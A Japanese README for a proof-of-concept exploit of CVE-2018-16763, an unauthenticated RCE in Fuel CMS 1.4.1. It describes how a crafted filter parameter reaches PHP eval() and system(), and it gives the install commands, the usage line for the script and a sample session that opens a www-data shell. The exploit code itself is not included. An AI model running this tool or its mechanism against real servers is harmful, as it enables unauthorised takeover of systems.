CVE-2018-16763 — Fuel CMS 1.4.1 リモートコード実行 (PoC)

Fuel CMS 1.4.1 における認証なしの RCE 脆弱性。/fuel/pages/select/ エンドポイントの filter パラメータがサニタイズされずに PHP バックエンドの eval() 呼び出しに渡され、細工されたペイロードによって任意のコード実行が可能になります。ブラインドインジェクションとは異なり、出力は HTTP レスポンスに直接反映されるため、中間ファイルは不要です。

動作の仕組み

1. 目的のコマンドを指定して PHP の system() を呼び出す、特別に細工された filter ペイロードを含む GET リクエストを /fuel/pages/select/ に送信します。
2. 正規表現パターンを使用して、HTTP レスポンスから反映された出力を解析します。
3. コマンド出力をインタラクティブシェルに直接返します。

必要条件

• Python 3
• 依存関係のインストール:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

使用方法

python3 exploit.py -t http://TARGET

例:

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit

参考文献

• CVE-2018-16763
• EDB-47138

クレジット

• 発見と最初のエクスプロイト: Syed Sheeraz Ali
• クリーンアップとインタラクティブシェル: Esteban Zárate